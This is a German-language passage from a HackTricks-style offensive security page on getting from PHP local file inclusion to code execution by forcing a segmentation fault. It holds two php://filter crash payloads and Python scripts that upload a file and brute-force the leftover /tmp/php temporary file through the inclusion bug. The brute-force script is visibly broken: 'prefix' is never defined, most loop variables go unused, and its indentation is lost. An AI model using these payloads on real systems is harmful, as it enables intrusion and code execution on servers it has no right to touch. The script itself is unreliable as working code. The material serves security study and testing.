LFI2RCE via Segmentation Fault

Unterstützen Sie HackTricks

Gemäß den Writeups https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/ (zweiter Teil) und https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/rJlfZva0m?type=view verursachten die folgenden Payloads einen Segmentation Fault in PHP:

// PHP 7.0
include("php://filter/string.strip_tags/resource=/etc/passwd");

// PHP 7.2
include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA");

Sie sollten wissen, dass wenn Sie eine POST-Anfrage senden, die eine Datei enthält, PHP eine temporäre Datei in /tmp/php<etwas> mit dem Inhalt dieser Datei erstellt. Diese Datei wird automatisch gelöscht, sobald die Anfrage verarbeitet wurde.

Wenn Sie eine LFI finden und es schaffen, einen Segmentation Fault in PHP auszulösen, wird die temporäre Datei nie gelöscht. Daher können Sie nach ihr mit der LFI-Schwachstelle suchen, bis Sie sie finden und beliebigen Code ausführen.

Sie können das Docker-Image https://hub.docker.com/r/easyengine/php7.0 für Tests verwenden.

# upload file with segmentation fault
import requests
url = "http://localhost:8008/index.php?i=php://filter/string.strip_tags/resource=/etc/passwd"
files = {'file': open('la.php','rb')}
response = requests.post(url, files=files)


# Search for the file (improve this with threads)
import requests
import string
import threading

charset = string.ascii_letters + string.digits

host = "127.0.0.1"
port = 80
base_url = "http://%s:%d" % (host, port)


def bruteforce(charset):
for i in charset:
for j in charset:
for k in charset:
for l in charset:
for m in charset:
for n in charset:
filename = prefix + i + j + k
url = "%s/index.php?i=/tmp/php%s" % (base_url, filename)
print url
response = requests.get(url)
if 'spyd3r' in response.content:
print "[+] Include success!"
return True


def main():
bruteforce(charset)

if __name__ == "__main__":
main()
Unterstützen Sie HackTricks

Last updated